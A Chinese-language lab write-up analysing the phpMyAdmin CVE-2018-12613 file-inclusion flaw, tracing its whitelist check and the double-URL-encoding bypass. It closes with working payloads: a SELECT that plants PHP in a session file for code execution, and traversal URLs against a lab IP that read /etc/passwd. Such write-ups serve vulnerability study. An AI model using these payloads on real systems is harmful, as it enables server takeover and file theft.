文件包含
当我们访问开放了用户注册和登录入口的站点时,正常情况下,用户访问每个页面站点都要检查当前登录的用户是否具有该页面的权限;如果站点不对用户权限进行检查,那么用户就可以访问该站点的任意页面,甚至可以查看其他用户的主页信息等。因此对用户访问的每个页面都进行权限检查是网站必须执行的操作。
而实现该操作需要在每一个页面中都写一段检查用户权限的代码,而检查用户的权限执行的是相同的逻辑操作,这就意味着每个页面都存在一段相同的代码,这是一个不理想的状态。这时程序员通常会将相同且频繁调用的代码单拎出来作为一个文件,在需要使用这段代码的时候直接加载该文件即可,这样写出来的代码更加简洁高效,这就是文件包含。
文件包含是指在一个文件中调用另一个文件中的内容。文件包含有一个特性,就是对于被包含的文件,会忽略文件的后缀而直接将文件作为可以执行的程序执行。以php程序为例,程序员会通过include、require、include_once、require_once
完成对目标文件的包含。
通过上面的描述可以看出文件包含是程序的一种特性,而不是一种漏洞。但是别有用心的攻击者会利用文件包含的特性,加上程序开发人员对文件包含的控制不严格,造成了任意文件包含。也就是说攻击者可以控制究竟包含哪一个文件。如果攻击者通过文件包含执行了木马程序,就可以直接拿下这台服务器。
源码分析
在phpmyadmin官网查看源码
全局搜索include关键字,发现代码中存在大量的include。大部分都是类似于include 'libraries/db_common.inc.php'
,将包含的文件名或者路径写死在程序中,也就是说用户无法控制包含的文件,也就不存在文件包含漏洞。
我们主要是寻找用户可以控制文件路径的include函数。在index.php文件中可以看到include $_REQUEST['target']
,他会从客户端接收数据,然后将数据指定的文件包含到程序中,显然我们可以控制包含的文件,这便是我们要执行的目标代码。接着查看该段代码出现的文件内容,查看如何能够触发文件包含,从目标代码往前查看,寻找die、exit这些能够导致退出脚本的语句。
可以看到我们要执行的目标代码本身位于一个if判断中,该if判断中存在五个条件
编号 | 内容 | 说明 |
---|---|---|
条件1 | !empty($_REQUEST[‘target’]) | 来自客户端的传参的target字段值不可以为空 |
条件2 | is_string($_REQUEST[‘target’]) | target字段的值必须要是字符串 |
条件3 | !preg_match(’/^index/’, $_REQUEST[‘target’]) | target字段的值不可以以index开头 |
条件4 | !in_array($_REQUEST[‘target’], $target_blacklist) | target字段的值不能为import.php, export.php |
条件5 | Core::checkPageValidity($_REQUEST[‘target’]) | target字段的值必须能够成功匹配白名单 |
①条件四中的target_blacklist变量
变量$target_blacklist
是一个数组,里面存放的是两个文件名。如果在黑名单中in_array函数就会为真,而!in_array整个if就会不成立,所以我们输入的target的内容不可以为import.php或者export.php。
②条件五中的Core::checkPageValidity函数
该函数是Core类的一个静态方法,会根据白名单对target传参进行审查,如果target的值在名单中该函数返回true,其中白名单存放在$whitelist变量中。该函数中存在5个if判断
编号 | 内容 | 说明 |
---|---|---|
判断1 | if(empty($whitelist)) | 白名单不可以为空 |
判断4 | if(!isset($page)||!is_string($page)) | target的值不可以为空且类型为字符串 |
判断3 | if(in_array($page, $whitelist)) | 将原生的target值与白名单进行匹配 |
判断4 | if(in_array($page, $whitelist)) | 将去掉传参的targte的值与白名单进行匹配 |
判断5 | if(in_array($page, $whitelist)) | 将URL解码并去掉传参的target的值域白名单进行匹配 |
①判断1对白名单进行初始化操作,与传参内容无关,原始的白名单内容存放在变量$goto_whitelist中,该变量的值为
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
...
...
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
②判断2检测target字段的值是否不为空且类型为字符串。
③判断3检测taget字段的值是否在白名单中,如果在白名单中该函数会返回true,如果不在执行下面的代码
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
); # 截取传参之前的内容,比如我们传入的内容是index.php?id=1,经过该函数处理后会变成index.php。然后将截取到的文件名与白名单进行匹配
④判断4检测更新后的taget字段值是否在白名单中,如果在成功返回true,不在则接着对target的值进行处理,执行下面的代码
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
); # 对target的值进行URL解码,然后对解码后的内容截取?传参之前的内容。在将截取到的内容与白名单进行匹配
⑤判断5检测更新后的taget字段值是否在白名单中,如果在返回true,否则返回false。
构造payload
设想一:target=db_sql.php?/…/
如果想成功执行include $_REQUEST['target'];
,必须使target传参同时满足前面分析的5个条件。前两条可以顺利通过,在第三条判断中不存在操作空间,他会直接将传参内容与白名单进行匹配。在第四条中可以构想payload:target=db_sql.php?/../
该payload表示的路径是当前工作目录,如果该payload可以在include中成功的被包含,那么我们就可以以当前目录为依据完成文件包含。其中db_sql.php
是白名单中的文件,显然该target值可以顺利通过前4个条件。
在执行第5个条件的时候,进入checkPageValidity函数执行5个判断,判断1与输入内容无关,判断2显然可以顺利通过,在执行判断3与白名单进行匹配时会匹配失败,然后执行判断4,判断4会去除?
之后的内容,target的值从db_sql.php?/…/
变成了db_sql.php
,与白名单匹配成功,直接返回true,五个条件都成立,然后执行我们的目标代码。
但是在执行checkPageValidity函数的时候并没有修改target的值,在对target的值进行处理后再匹配时,使用_page变量保存的是处理的后的值,而没有直接修改target的值,所target的内容依据是我输入的db_sql.php?/…/
。但是include所使用的文件的路径中不可以包含特殊字符,所以依旧无法完成文件包含。
设想二:target=db_sql.php%253f/…/
虽然设想一没有完成文件包含。但可以利用判断5进行的URL解码来进行文件包含。当我们使用GET进行传参时浏览器会对GET传递的数据进行URL编码,数据到达服务器后会进行URL解码。比如使用GET传递一个单引号(’),浏览器会将其编码为%27,然后传递给服务器端,服务器接收到数据后会进行URL解码,获得传递的值(’)。但如果我们手动在数据包中的%27修改为%2527,那么服务器端接收到%2527的时候会进行一个URL解码,解码后变成了%27(%25是%的URL编码)。而站点的代码中又调用了urldecode函数对传参的内容进行URL解码,在第二次解码后,我们传递的内容变成了单引号(%27是单引号的URL编码)。也就是说客户端发送来的数据服务端进行了两次URL解码。
因此可以构造payload:target=db_sql.php%253f/../
,首先服务器收到传参后进行一次URL解码变成target=db_sql.php%3f/../
,该值顺利通过前4个条件进入checkPageValidity函数,在执行判断3、4时均匹配失败,于是执行判断5,进行URL解码,变成了target=db_sql.php?/../
,解码完成后去除传参,最终变成了target=db_sql.php
,成功匹配白名单,因此条件5成立,执行目标代码include$_REQUEST['target'];
,虽然在checkPageValidity函数中对target的值进行了一系列处理,但是并没有影响到target真正的值,因为在使用处理后的target进行白名单匹配的时候,都是使用了一个新的变量$_page
接受target的值,而并没有直接影响target本来的值,所以target的值依旧是target=db_sql.php?/../
,现在target值并没有携带include无法接受的特殊符号,因此该payload可以成功跳回当前目录,我们就可以在后面添加任意的路径来包含任意的文件。
漏洞复现
在站点上传一个木马文件,然后通过文件包含漏洞包含该文件,登录执行了木马程序就可以成功的getshell。首先登录phpMyAdmin,进入/vulhub/phpmyadmin/CVE-2018-12613目录下打开终端:
在这里我们无法上传文件,但可以利用MySQL的数据在站点写入木马。
但我们知道登录phpmyadmin后,数据库是完全可控的,MySQL中存放的数据都是以文件的形式存放在服务器上的,我们可以在服务器上创建一个表,该表只包含有一个字段,将Webshell作为数据表的字段值写入数据库,然后包含数据库文件。
首先在SQL那里写入并执行
SELECT '<?php phpinfo()?>';
# SELECT '写入要执行的PHP',然后找到cookie的值
然后访问:
192.168.57.142:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_[cookie的值]
# 这里的db_sql.php%253f/..表示的是当前的工作目录,然后不断的通过’…'跳到上一级目录,无论跳了多少次,最后也只会回到根目录,因此我们可以多跳几次确保进入根目录中
漏洞利用
192.168.57.142:8080/?target=db_sql.php%253f/../../../../../../../../etc/passwd